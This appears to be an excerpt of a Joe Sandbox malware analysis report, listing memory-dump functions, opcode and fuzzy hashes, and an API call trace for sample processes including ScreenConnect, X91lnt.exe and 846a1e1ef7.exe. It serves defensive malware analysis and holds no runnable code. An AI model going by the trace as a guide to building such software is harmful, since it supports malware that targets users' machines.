Instruction ID: d7925e73e330c34a12dc6d8de657772b75846e22a360024c696df78ee47138a7
Opcode Fuzzy Hash: 89ebdf69fc3550364191550a0a8cde74f8afa460d7aec8a0cdb3717ca6f8bd97
Instruction Fuzzy Hash: 0111D071B09A094FDB98EF58C460B667BA2FF68304F0540A8C44DCB2D7DA35F806CB80

Function 00007FFD9BBB46E9 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3024570853.00007FFD9BBB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9bbb0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5296ad21ee3635ef22920f48aafc050b5f295fffe1ec8044b99a941b2462922f
Instruction ID: 7eca2b3c979808444a8cf220ad98e6a0f5ce911e3a53e2cc250a86eb944155f5
Opcode Fuzzy Hash: 5296ad21ee3635ef22920f48aafc050b5f295fffe1ec8044b99a941b2462922f
Instruction Fuzzy Hash: DB11E314F0EA6B0AF779936A447437626E1FF86344F1A40BEC45DC61E6DD2C9D81C701

Function 00007FFD9BBB29C5 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3024570853.00007FFD9BBB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9bbb0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ddaa489f5008dff664ced9a0fc6d0be169340b35275bf79e002749a78e9866a
Instruction ID: 98e21801323793a087a9d0b261fdd032eee25d8732dd9b90d12b86abea5290cc
Opcode Fuzzy Hash: 5ddaa489f5008dff664ced9a0fc6d0be169340b35275bf79e002749a78e9866a
Instruction Fuzzy Hash: F611C171B09A4A4FD798EA58C46097977D2FF68304B0501BDD45DC73A2CA21FC02CB80

Function 00007FFD9BBB629C Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3024570853.00007FFD9BBB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9bbb0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c21b878ab536495c97414338cf79c5c73a91cd76191a758fb354a343b14c15d7
Instruction ID: 84c1d80b28a75de81c2ab9bf6eef798febcbc7f10f460c632f4778733d96f153
Opcode Fuzzy Hash: c21b878ab536495c97414338cf79c5c73a91cd76191a758fb354a343b14c15d7
Instruction Fuzzy Hash: 80017130B0B93F49FEBC9A9841706BA6291BF55309F450078D84F991E7CE2CED498A10

Function 00007FFD9BBB0AF5 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3024570853.00007FFD9BBB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9bbb0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d41c7573ebe479760940271460bb3e1d56e819e75c8e4cc096ff2a1e57a5ef91
Instruction ID: f41e85798b02c2967f18c4a2d715c7f5358f8122674d39f0b88c8527037a9158
Opcode Fuzzy Hash: d41c7573ebe479760940271460bb3e1d56e819e75c8e4cc096ff2a1e57a5ef91
Instruction Fuzzy Hash: F2F04F2144E2D61FD316A7B09C65BE07FE0EF47220B0F42E7E488CB4A3D50C5D8A83A1

Function 00007FFD9BBB0991 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3024570853.00007FFD9BBB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9bbb0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 549e199b129ec1ff2cd582169818b64b9364a7f2fa2605ea68b9b399a7724963
Instruction ID: 2c6b6ea640fe30f11b7600951a62964a1ef6896862eac6e732c4be5b1efdc8b9
Opcode Fuzzy Hash: 549e199b129ec1ff2cd582169818b64b9364a7f2fa2605ea68b9b399a7724963
Instruction Fuzzy Hash: 82E0D86120F3D40FDB539B39C8688E53F60ED2722030A01EBD4C1CF1B3E5148A89C752

Function 00007FFD9BBB50F2 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3024570853.00007FFD9BBB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9bbb0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b93d6629a024c1be23dc917a920dbd0564aa6c38627ad7681ab935a9e999aa5
Instruction ID: bd212ff593ee9eb0cf1817106b8dd54c37082d1ae7caf0b162719abcd8a600f0
Opcode Fuzzy Hash: 2b93d6629a024c1be23dc917a920dbd0564aa6c38627ad7681ab935a9e999aa5
Instruction Fuzzy Hash: 65F08C52A0F3999FD366ABB868790A03FE09E2610471A00F7D494CB2E7F8041D8583A6

Function 00007FFD9BBB3E79 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3024570853.00007FFD9BBB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9bbb0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b661883c11f4ec211589d4b52a536cd3e495484d800b7202dc91a932c297265e
Instruction ID: 52c8f02e72e37bbc568b2286bee172bee00039eeeb4579648e07fe76074a0ee5
Opcode Fuzzy Hash: b661883c11f4ec211589d4b52a536cd3e495484d800b7202dc91a932c297265e
Instruction Fuzzy Hash: C2F0303540D69C5FCB42DB64D4658D67FB0FE56324B0501CBE049CB062D6219A55CB82

Function 00007FFD9BBB0FFA Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3024570853.00007FFD9BBB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9bbb0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ad0b8e969cc9ebd7faf4325977a4d6faddb6b0795cb80f6de6ddf4784acc69f
Instruction ID: 5c31e4f758c3e8ba742ed3a5c81445e0e205938ca2c4ccd642d2912da15c87e2
Opcode Fuzzy Hash: 2ad0b8e969cc9ebd7faf4325977a4d6faddb6b0795cb80f6de6ddf4784acc69f
Instruction Fuzzy Hash: D8E04F3150961C9FCB11EB58E454CDA77A4EF56319B410197E00DC7061D632A959CBD1

Function 00007FFD9BBB4700 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3024570853.00007FFD9BBB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9bbb0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51a9181d9feb2fe46639e15784a3f8a8bc07b50012e25796c98f75386347a559
Instruction ID: 0889d43e2624109cdc1f97e4ef3633c34ab35b524b1b6fda611a31111c7fb412
Opcode Fuzzy Hash: 51a9181d9feb2fe46639e15784a3f8a8bc07b50012e25796c98f75386347a559
Instruction Fuzzy Hash: 39E08C15F5EA2B02FB7C22A668A13BA60D0EF46349F4A40BED429801E9DD5C9E81C552

Function 00007FFD9BBB7BE9 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3024570853.00007FFD9BBB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9bbb0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fd07db5191160904a10cb0bda4ffc05362544b60d5cb3a9508442d2ca89d4b2
Instruction ID: 539ef280059d820dd5c3500afc74134cd04e1065363a9db7a3dced15cd4ec35a
Opcode Fuzzy Hash: 5fd07db5191160904a10cb0bda4ffc05362544b60d5cb3a9508442d2ca89d4b2
Instruction Fuzzy Hash: 93E04F2191D7944FE3B2AB68587A1607FE09F1621171A00EBC4C4CB1B3E5085C88C752

Function 00007FFD9BBB2D04 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3024570853.00007FFD9BBB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9bbb0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d3884d654ead59ca004e29aea53db72527945e9c23bb5445885588f1cfc30c3
Instruction ID: 707b910be1ac5e709ca2a44a7f81690af456ececda96e2e5623b1275a54d2a2d
Opcode Fuzzy Hash: 0d3884d654ead59ca004e29aea53db72527945e9c23bb5445885588f1cfc30c3
Instruction Fuzzy Hash: EDC09B10F1A95E46F265EBE584712BE25527F8D604B564435D00D821D6CD3CA7015D55

Analysis Process: X91lnt.exePID: 7264, Parent PID: 2580COMMON

Executed Functions

Function 00007FFD9B881249 Relevance: .8, Instructions: 785COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2659358142.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9b880000_X91lnt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61373962174f271b49d1379855a00380cfc7c6a26bf9c1e70399349fdd549264
Instruction ID: 65cb485e8ba908d368f6e8dba9a6810aa45758ad578a963a43b289f28cdd23a1
Opcode Fuzzy Hash: 61373962174f271b49d1379855a00380cfc7c6a26bf9c1e70399349fdd549264
Instruction Fuzzy Hash: EB32C561B29A494FE799FB6C9865BB977D2FF9C300F410579E01EC32DADE38A9018341

Function 00007FFD9B881289 Relevance: .6, Instructions: 638COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2659358142.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9b880000_X91lnt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75f79b5ae0f6d2e47f9d5ff6d2364474e63fa49d206fe93e3806f35c69eab304
Instruction ID: 40cbb4f84cd7b5c902124984fd9738d3e25dec74749189da5cc9037dea5ddd05
Opcode Fuzzy Hash: 75f79b5ae0f6d2e47f9d5ff6d2364474e63fa49d206fe93e3806f35c69eab304
Instruction Fuzzy Hash: 2112B361B29E494FE7A9F7789865BB866D2FF9C300F4105B9E01EC72DADD38A9018341

Function 00007FFD9B881095 Relevance: 1.5, Strings: 1, Instructions: 241COMMON

Download Yara Rule

Strings

3O_^, xrefs: 00007FFD9B881101

Memory Dump Source

Source File: 00000015.00000002.2659358142.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9b880000_X91lnt.jbxd

Similarity

API ID:
String ID: 3O_^
API String ID: 0-166494150
Opcode ID: e4b2021016bcadd04896ac1154be586164f44a58a6745c8fa8d5469ff391ed60
Instruction ID: b282281c95ba39c4ddffe649bf5244ae49975c0961cbf7ad67864c6f10250d98
Opcode Fuzzy Hash: e4b2021016bcadd04896ac1154be586164f44a58a6745c8fa8d5469ff391ed60
Instruction Fuzzy Hash: 08411C32F0EA5A4FDB56F7A8E8B55E97BB0EF88214B0505B7D059CB1E7DD3828468340

Function 00007FFD9B880BFE Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2659358142.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9b880000_X91lnt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0542f9e442c755f9617851345e50d74d39a61518c282f4172105684a3ed567e4
Instruction ID: 3ae065d84e99018b5a35d6f46edad612c33204ade9ac7a97c26edd473640fb1c
Opcode Fuzzy Hash: 0542f9e442c755f9617851345e50d74d39a61518c282f4172105684a3ed567e4
Instruction Fuzzy Hash: 74513A21B1EBCA0FE366A77848265793BE2DF8A214B0900FBD09DC71EBDC1C5C468352

Function 00007FFD9B881100 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2659358142.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9b880000_X91lnt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8af3c1b7adba1fb471ae9d6f8b7985156da6dc47b44f318510626a5ac7fa21be
Instruction ID: a976e900968da50044b287f029ebeac19844b285bc73778707124a3ecb60d164
Opcode Fuzzy Hash: 8af3c1b7adba1fb471ae9d6f8b7985156da6dc47b44f318510626a5ac7fa21be
Instruction Fuzzy Hash: A531D522E09A8E4FEB55E7A8D8B11FDBBB1FF9C240F4505B6D059D71E6DE3429058340

Function 00007FFD9B880A91 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2659358142.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9b880000_X91lnt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93abbe8ccca27e59b0272703618cfa0c85806ccc099c4ebce47f44cd73b423fc
Instruction ID: f3f84f7ea4dba27825c2540ecd3ffc0672858cf521448856af8945f131855353
Opcode Fuzzy Hash: 93abbe8ccca27e59b0272703618cfa0c85806ccc099c4ebce47f44cd73b423fc
Instruction Fuzzy Hash: 2C31C551B29D094FE798B7B858297BD66D2EF98601F0501B7E01DC32D7DE2869014391

Function 00007FFD9B880949 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2659358142.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9b880000_X91lnt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70f097895fdd075ef1cd2b9efe07f630846957bc7e137ca819dad9188c859773
Instruction ID: 1bfa1ff9e648f6dfc1fcd7f261d174a2a5cb563e9d3ea35ca309c2804712768e
Opcode Fuzzy Hash: 70f097895fdd075ef1cd2b9efe07f630846957bc7e137ca819dad9188c859773
Instruction Fuzzy Hash: C031A270B18A0E8FEB49EBA89865AED7BA1FF98300F510579D019D73D6DD386841C741

Function 00007FFD9B881C65 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2659358142.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9b880000_X91lnt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60a1ea9a900e01ee7fe2a6d715723db57bb51a71a001a2a467d28b3d7bdbcd5c
Instruction ID: 37c8d25a4c2f5633e9be5300e634dd0d3cbcfe9579e523cf3e825810670ce49c
Opcode Fuzzy Hash: 60a1ea9a900e01ee7fe2a6d715723db57bb51a71a001a2a467d28b3d7bdbcd5c
Instruction Fuzzy Hash: A631A421B189494FE788EB2C986A778B6C2EF9C705F0505BEE05EC32DBDD689C418741

Function 00007FFD9B881BA9 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2659358142.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9b880000_X91lnt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45ea969ca4724b3ae66d5b24063af7a5cdb582cd242abd44c5497a201d723301
Instruction ID: d2ba7f44451747988ed00d5f5907f188aca807b1ba6b39aa84f3c9855d040710
Opcode Fuzzy Hash: 45ea969ca4724b3ae66d5b24063af7a5cdb582cd242abd44c5497a201d723301
Instruction Fuzzy Hash: 5F21D34959F6CA5FD7A363B91C745A26FA88E5712A71D00EBE0E4CA0E7E808051AC363

Function 00007FFD9B881D61 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2659358142.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9b880000_X91lnt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4eef639539140fa501373776199b4bd33646747e545584a068c2a2185a0ec380
Instruction ID: 7a384405fa53b287e470e20491a9a21c750e9af1b814201ccbeb33c4694acd6e
Opcode Fuzzy Hash: 4eef639539140fa501373776199b4bd33646747e545584a068c2a2185a0ec380
Instruction Fuzzy Hash: 9D01C004A0EF890FD753A73C18701717FE1DF9A700B0905BBD498C70E7DD145A808382

Function 00007FFD9B880528 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2659358142.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9b880000_X91lnt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f35fd114cc42c9b74d24695006a869f6f8c682d06b0063be1db92e71cf66284
Instruction ID: 59cf0cd4e3aec6b793d580f5ab39d44808caf3b779098537ca044c8b75b1e630
Opcode Fuzzy Hash: 0f35fd114cc42c9b74d24695006a869f6f8c682d06b0063be1db92e71cf66284
Instruction Fuzzy Hash: 8DE02643B1AC0D1BE6B8629E18AC9B2478EDBDC295712017AF42EC22D1DC042C0242A0

Analysis Process: 846a1e1ef7.exePID: 7388, Parent PID: 7624COMMON

Executed Functions

Function 00405BFC Relevance: 282.0, APIs: 102, Strings: 58, Instructions: 2009stringkeyboardwindowCOMMON

Download Yara Rule

APIs

?_set_new_handler@@YAP6AHI@ZP6AHI@Z@Z.MSVCRT ref: 00405C0F

Part of subcall function 00402017: GetModuleHandleW.KERNEL32(00000000,00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402023
Part of subcall function 00402017: CreateWindowExW.USER32(00000000,Static,0041A584,00000000,000000F6,000000F6,00000005,00000005,00000000,00000000,00000000), ref: 00402040
Part of subcall function 00402017: SetTimer.USER32(00000000,00000001,00000001,00000000), ref: 00402052
Part of subcall function 00402017: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0040205F
Part of subcall function 00402017: DispatchMessageW.USER32(?), ref: 00402069
Part of subcall function 00402017: KillTimer.USER32(00000000,00000001,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402072
Part of subcall function 00402017: KiUserCallbackDispatcher.NTDLL(00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402079

GetVersionExW.KERNEL32(?,?,00000000), ref: 00405C2C
GetCommandLineW.KERNEL32(?,00000020,?,00000000), ref: 00405CBB

Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB,?), ref: 0040313F
Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT(?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB), ref: 0040315A
Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00403162
Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT(00405CDB,00405CDB,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB,?,00000000), ref: 004031D2

lstrlenW.KERNEL32(?,00000000,00000000), ref: 00405CE6

Part of subcall function 00404D0B: #17.COMCTL32(00000000,?,?), ref: 00404D17
Part of subcall function 00404D0B: SHGetSpecialFolderPathW.SHELL32(00000000,?,00000000,00000000,?,?,?,?,?,?,?), ref: 00404D9D
Part of subcall function 00404D0B: wsprintfW.USER32 ref: 00404DB8

wsprintfW.USER32 ref: 00405D45
_wtol.MSVCRT ref: 00405D7F
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0041EA30,0041EA30), ref: 00405DCE
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0041EA30,0041EA30), ref: 00405DE2
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,0041EA30,0041EA30), ref: 00405DEA

Part of subcall function 004011B7: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011D7
Part of subcall function 004011B7: ??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011FD

GetModuleFileNameW.KERNEL32(00000000,00000208), ref: 00405E61
_wtol.MSVCRT ref: 00405F89
??2@YAPAXI@Z.MSVCRT(00000010,00000000,0041EA30,0041EA30), ref: 00406118
??3@YAXPAX@Z.MSVCRT(?,00000000,00000009,?,00000000,0041EA30,0041EA30), ref: 0040619B
??3@YAXPAX@Z.MSVCRT(?,00000000,0000000A,?,00000000,0041EA30,0041EA30), ref: 00406211
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0041EA30,0041EA30), ref: 0040622D
??3@YAXPAX@Z.MSVCRT(?,00000000,0041EA30,0041EA30), ref: 0040626B
wsprintfW.USER32 ref: 00406295
_wtol.MSVCRT ref: 004064B6
??3@YAXPAX@Z.MSVCRT(?,?,?,?), ref: 00406587
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 004065D4
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?), ref: 004065DC
??3@YAXPAX@Z.MSVCRT(?), ref: 004065FB
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00406653
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?), ref: 0040665B
GetCommandLineW.KERNEL32(?,00000000,?,?), ref: 004066C3
??3@YAXPAX@Z.MSVCRT(?,00000000), ref: 0040673B
??3@YAXPAX@Z.MSVCRT(?,?,00000000), ref: 00406743
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 0040674B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000), ref: 00406753
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000), ref: 0040675B
GetCurrentProcess.KERNEL32(000000FF,000000FF,?,?,?,?,00000000), ref: 00406767
SetProcessWorkingSetSize.KERNEL32(00000000), ref: 0040676E
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,00000000), ref: 0040678A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000), ref: 00406792
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040679A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004067A2
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,00000000), ref: 004067BE
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000), ref: 004067C6
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004067CE
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004067D6
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?,?,00000000,?,?), ref: 0040687F
??3@YAXPAX@Z.MSVCRT(?,00000000,?,?,?,00000000,?,?), ref: 004068A4
??3@YAXPAX@Z.MSVCRT(?,00000011,00000000,00000000,?,?,00000000,?,?,?,00000000,?,?), ref: 00406916
CoInitialize.OLE32(00000000), ref: 00406937
lstrlenW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 00406991
_wtol.MSVCRT ref: 00406A68
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00406A8B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00406AC4
GetKeyState.USER32(00000010), ref: 00406B1B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00406C59
??3@YAXPAX@Z.MSVCRT(?), ref: 00406C67
??3@YAXPAX@Z.MSVCRT(?,00000000,0000000E,?,?,?,00000000,AutoInstall), ref: 00406C92
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0000000E,?,?,?,00000000,AutoInstall), ref: 00406C9A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00406CB6
??3@YAXPAX@Z.MSVCRT(?,?), ref: 00406CBE
??3@YAXPAX@Z.MSVCRT(?,00000000), ref: 00406CEE
??3@YAXPAX@Z.MSVCRT(?,0041E9E8), ref: 00406D2E
??3@YAXPAX@Z.MSVCRT(?,0041E9E8), ref: 00406D97
??3@YAXPAX@Z.MSVCRT(?,?,0041E9E8), ref: 00406D9F
??3@YAXPAX@Z.MSVCRT(?,00000000,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406E64
??3@YAXPAX@Z.MSVCRT(00000001,?,00000000,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406E6F
GetFileAttributesW.KERNEL32(?,00000000,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406E79
??3@YAXPAX@Z.MSVCRT(?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406F33
??3@YAXPAX@Z.MSVCRT(?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406F3B
_wtol.MSVCRT ref: 00406FCF
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?,?,?,?,?), ref: 004071AE
??3@YAXPAX@Z.MSVCRT(00000000,?,?,00000000,?,?,?,?,?,?), ref: 004071B6
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004071DA
??3@YAXPAX@Z.MSVCRT(?,00000000,?,?), ref: 00407223
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 0040722B
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00407233
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?), ref: 00407239
??3@YAXPAX@Z.MSVCRT(?,00000000,AutoInstall,?,?,0041E9E8), ref: 00407249
??3@YAXPAX@Z.MSVCRT(?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00407251
??3@YAXPAX@Z.MSVCRT(?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 0040726E
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00407276
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 0040727E
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00407286
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 0040728E
??3@YAXPAX@Z.MSVCRT(?,?,?,0041E9E8), ref: 004072AF
??3@YAXPAX@Z.MSVCRT(?,?,?,?,0041E9E8), ref: 004072B7
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004072C3

Part of subcall function 00409606: wvsprintfW.USER32(?,00000000,?), ref: 0040962A
Part of subcall function 00409606: GetLastError.KERNEL32 ref: 0040963B
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 0040968B
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 00409692
Part of subcall function 00409606: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004096A7
Part of subcall function 00409606: lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
Part of subcall function 00409606: lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
Part of subcall function 00409606: ??3@YAXPAX@Z.MSVCRT(00000000,00000000), ref: 004096D7
Part of subcall function 00409606: LocalFree.KERNEL32(?), ref: 004096E1

